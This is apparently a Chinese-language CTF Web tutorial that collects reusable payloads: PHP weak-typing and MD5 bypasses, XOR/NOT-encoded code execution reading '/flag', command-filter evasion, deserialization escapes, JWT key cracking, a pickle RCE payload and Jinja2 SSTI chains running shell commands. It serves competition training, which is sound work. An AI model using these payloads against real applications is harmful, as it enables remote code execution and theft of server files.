在网络安全领域,CTF(Capture The Flag)夺旗赛是技术人员成长的必经之路。解题模式(Jeopardy)作为最常见的线上赛制,覆盖了 Web、PWN、逆向、密码学、杂项等七大方向,其中 Web 类题目因门槛低、场景贴近实战而成为多数入门者的首选。本文将系统梳理 CTF Web 方向的核心考点,从 PHP 弱类型到 Python SSTI,从古典密码到流量分析,结合大量可直接复用的 Payload 与解题思路,帮助你建立完整的解题知识体系。
一、CTF 解题模式与 Web 题型概览
CTF 解题模式的核心是通过分析题目给出的环境或源码,利用漏洞获取隐藏的 Flag 字符串。Web 类题目主要围绕真实业务场景中的安全漏洞展开,常见考点包括:
- 基础语言特性:PHP 弱类型比较、MD5 科学计数法绕过、数组特性利用
- 代码与命令执行:正则过滤下的异或 / 取反绕过、变量拼接绕过
- 序列化与反序列化:字符逃逸、魔术方法利用、POP 链构造
- 身份认证:JWT 密钥爆破、空加密算法攻击、会话伪造
- 模板注入:Jinja2/Mako 等引擎的 SSTI 漏洞利用
- 密码学:凯撒密码、异或加密、哈希碰撞
不同于真实渗透测试,CTF 题目考点明确,每道题都对应一个或多个核心知识点。解题的关键在于快速识别考点,然后套用对应的 Payload 框架进行微调。
二、PHP Web 核心考点深度解析
2.1 弱类型比较:一切绕过的起点
PHP 作为弱类型语言,在使用==进行比较时会自动进行类型转换,这是 CTF 中最基础也最常考的知识点。
核心规则:字符串与数字比较时,PHP 会提取字符串开头的数字部分进行转换;若开头无数字则转为 0。例如:
"123abc" == 123→true"abc" == 0→true"0e12345" == 0→true(科学计数法解析)
经典题型解法:
php
运行
if($a == 0 and $a){
echo $flag;
}
if(is_numeric($b)) exit();
if($b > 1234){
echo $flag;
}
Payload :?a=abcd&b=1235abc
a=abcd:字符串与 0 比较等于 0,同时非空字符串布尔值为 trueb=1235abc:非纯数字绕过is_numeric,但比较时转换为 1235 大于 1234
2.2 MD5 绕过的三重境界
MD5 相关题目在 CTF 中层层递进,从基础的科学计数法到严格比较的数组绕过,再到强类型下的哈希碰撞。
第一层:弱比较下的科学计数法 当两个 MD5 值都以0e开头且后续全为数字时,PHP 会将其视为科学计数法的 0,从而相等。
- 经典值:
QNKCDZO→0e83040045... - 常用值:
240610708→0e46209743... - Payload:
?a=240610708
第二层:严格比较下的数组绕过 PHP 的md5()函数无法处理数组,传入数组会返回null,两个null严格相等。
- Payload:
?username[]=aaa&password[]=bbb - 原理:
md5([]) === md5([])→null === null→true
第三层:强类型校验下的 MD5 碰撞 当代码强制将参数转为字符串后,数组绕过失效,此时需要真正的 MD5 碰撞。使用fastcoll工具生成两个不同但 MD5 相同的二进制文件,URL 编码后传入即可。
2.3 无字母数字的代码执行:异或与取反
当正则表达式过滤了所有字母和数字时,常规的phpinfo()无法直接使用,这就需要利用位运算构造可执行代码。
异或绕过原理 :两个特殊字符进行异或运算可以得到字母。例如'^' ^ '.'得到字母p。通过逐字符异或拼接,就能构造出完整的函数名。
phpinfo () 异或 Payload:
plaintext
(%28%22%5E%22%5E%22.%22%29.%28%22%28%22%5E%22%40%22%29.%28%22%5E%22%5E%22.%22%29.%28%22%29%22%5E%22%40%22%29.%28%22.%22%5E%22%40%22%29.%28%22%26%22%5E%22%40%22%29.%28%22%2F%22%5E%22%40%22%29)();
取反绕过原理:对字符串按位取反得到不可见字符,传入后再次取反还原。
~'phpinfo'经 URL 编码后为%8F%97%8F%96%91%99%90- Payload:
(~%8F%97%8F%96%91%99%90)();
进阶利用:读取 flag 文件
php
运行
// 读取目标:printf(file_get_contents('/flag'));
// 取反Payload
(~%8F%8D%96%91%8B%99)((~%99%96%93%9A%A0%98%9A%8B%A0%9C%90%91%8B%9A%91%8B%8C)('/'.(~%99%93%9E%98)));
2.4 命令执行的多层绕过
命令执行题目通常会叠加多层过滤:空格、关键字、特殊字符等,需要逐层绕过。
空格绕过:
${IFS}:Linux 内置分隔变量%09:URL 编码的制表符<:输入重定向符
关键字绕过:
- 反斜杠分割:
c\at - 引号拼接:
c'a't - 变量拼接:
a=c;${a}at
flag 关键字绕过:
- 通配符:
fla* - 变量拼接:
b=g;fla$b - 反向拼接:打乱字符顺序后组合
实战 Payload 示例:
plaintext
sort%09/fla*
使用未被过滤的sort命令读取文件,用%09替代空格,用通配符绕过 flag 检测。
2.5 序列化字符逃逸:字符增减的艺术
PHP 反序列化的核心特点是:以;}作为结束标记,后续内容被忽略;字符串严格按长度解析。当过滤函数改变字符串长度时,就可能产生字符逃逸。
字符增加型逃逸 (过滤后字符变多) 例如将p替换为ww,每一个 p 多出 1 个字符。通过填充足够多的p,让多出的字符 "挤" 出闭合语句,修改后续字段。
经典公式:
plaintext
需要逃逸的字符串长度 = 填充的被过滤字符数 × 每个字符增加量
字符减少型逃逸 (过滤后字符变少) 例如将p删除,需要两个参数配合:第一个参数填充被过滤字符占位,过滤后长度缩短,从而 "吞掉" 第二个参数的前半部分,露出预先构造的序列化语句。
实战案例:修改 photo 读取 config.php 在 nickname 字段中填充 34 个where(替换为 hacker,每个 + 1 字符),配合数组闭合,将 photo 字段修改为config.php,最终通过文件读取拿到 Flag。
三、Python Web 核心考点深度解析
3.1 JWT 身份认证伪造
JWT 由 Header、Payload、Signature 三部分组成,核心安全依赖签名密钥。CTF 中常见考点是弱密钥爆破。
攻击流程:
- 以普通用户登录获取 JWT Token
- 使用
jwt_tool或c-jwt-cracker爆破密钥 - 将 Payload 中的 username 改为 admin,用爆破出的密钥重新签名
- 替换 Cookie 中的 JWT,以 admin 身份获取 Flag
常用工具命令:
bash
运行
python3 jwt_tool.py <token> -C -d weakpass.txt
进阶考点:空加密算法攻击(alg 设为 None),但现代框架基本已修复此问题。
3.2 Python 反序列化:pickle 漏洞
Python 的pickle模块在反序列化时会执行对象的魔术方法,是 RCE 的重灾区。CTF 中常考两个魔术方法:
__reduce__():序列化时调用,反序列化时执行其返回的可调用对象__setstate__():反序列化时调用,接收状态参数
标准 Payload 构造:
python
运行
import pickle
import urllib
class poc(object):
def __reduce__(self):
return eval, ("open('/flag.txt').read()",)
payload = urllib.quote(pickle.dumps(poc()))
环境注意事项 :Windows 下os.listdir对应nt.listdir,Linux 下对应posix.listdir,需根据目标系统调整。
3.3 SSTI 模板注入:从探测到 GetShell
模板注入(SSTI)是 Python Web 最高频的考点。当用户输入被直接传入模板渲染函数时,攻击者可执行任意代码。
快速探测 :输入{``{2*2}},若页面返回 4 则存在 SSTI。
引擎识别:
{``{}}语法 → Jinja2 / Tornado${}语法 → Mako- Mako 支持直接调用
open(),Jinja2 需要通过类继承链获取
Jinja2 标准利用链:
python
运行
# 获取基类 → 遍历子类 → 找到含os模块的类 → 执行命令
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag.txt').read()
Flask 内置快捷方式:
python
运行
# 利用config、url_for、lipsum等内置对象直接获取os
config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()
lipsum.__globals__['os'].popen('cat /flag.txt').read()
自动化工具 :SSTImap可一键检测并提供 Shell,大幅提升解题效率。
四、密码学与杂项:快速得分技巧
4.1 古典密码:凯撒密码
凯撒密码是最基础的移位密码,CTF 中常以入门题出现。由于只有 26 种可能,直接暴力破解即可。
解密脚本模板:
python
运行
cipher = "lzw_uswksj_uahzwj_ak_gfw_gx_lzw_egkl_tskau_udskkausd_uahzwjk"
for offset in range(26):
plain = ""
for c in cipher:
if 'a' <= c <= 'z':
plain += chr((ord(c) - ord('a') - offset) % 26 + ord('a'))
else:
plain += c
print(f"Offset {offset}: {plain}")
识别技巧 :解密结果中出现有意义的英文单词即为正确答案,如the_caesar_cipher_is_one_of_the_most_basic_classical_ciphers。
4.2 异或加密:性质的妙用
异或加密的核心性质:a ^ b = c 则 a ^ c = b,且自身异或为 0。CTF 中常考多密钥异或的推导。
经典题型推导 : 已知 a = r0, b = r0^r1, c = r1^r2, d = m^r0^r1^r2 则 m = d ^ a ^ (a^b) ^ ((a^b)^c) = d ^ b ^ c
直接通过已知值异或运算即可还原明文,无需破解随机数。
4.3 流量分析:从 PCAP 中提取 Flag
杂项中的流量分析题,核心是筛选特定协议数据包,提取载荷并拼接。
ICMP 后门题解法:
- 过滤 ICMP 协议数据包
- 提取每个包的数据载荷
- 按顺序拼接得到 Flag 字符串
SQL 盲注流量题解法:
- 筛选包含特定关键字的 HTTP 请求
- 根据响应长度或内容判断布尔结果
- 提取每个请求的 ASCII 码值,转换为字符
Python 脚本化处理 :使用scapy库可自动化完成数据包解析、筛选、拼接,比手动 Wireshark 查看高效得多。
五、AI 辅助 CTF 解题:高效提分方法论
在实际解题中,AI 可以大幅提升编码和分析效率,尤其适合以下场景:
5.1 加密脚本逆向
给出加密源码,让 AI 直接编写对应的解密脚本。无论是凯撒、异或还是变种加密,AI 都能快速还原逻辑并生成可运行代码。
5.2 流量分析自动化
描述需求("提取 ICMP 数据并拼接"、"筛选含 skyflag 的请求并转 ASCII"),AI 可直接生成 scapy 分析脚本,运行即得 Flag。
5.3 Payload 生成与编码
描述目标函数和过滤规则,AI 可生成对应的异或、取反 Payload,并自动完成 URL 编码,省去手动计算的繁琐。
使用建议:AI 擅长逻辑转换和代码生成,但不擅长漏洞思路判断。解题的关键还是先识别考点,再用 AI 实现具体 Payload。
六、CTF 学习路径建议
- 基础阶段:掌握 PHP 弱类型、MD5 绕过、基础命令执行,刷完各平台入门题
- 进阶阶段:攻克序列化、SSTI、JWT 等中高频考点,理解原理而非只记 Payload
- 提升阶段:练习复杂的 POP 链构造、绕过 WAF 的花式 Payload、混合考点题目
- 实战阶段:参加线上公开赛,在限时压力下锻炼解题速度和临场思路
CTF 的本质是对知识体系的考察,每类题目都有固定的解题范式。建立起完整的知识框架,遇到题目快速匹配考点,再结合工具和 AI 辅助,就能高效解出绝大多数 Web 题目。希望这份指南能帮你在 CTF 之路上少走弯路,早日成为夺旗高手。安全之路永无止境,保持好奇,持续学习。每解出一道题,都是对自己技术边界的又一次拓展。
安全之路永无止境,保持好奇,持续学习。每解出一道题,都是对自己技术边界的又一次拓展。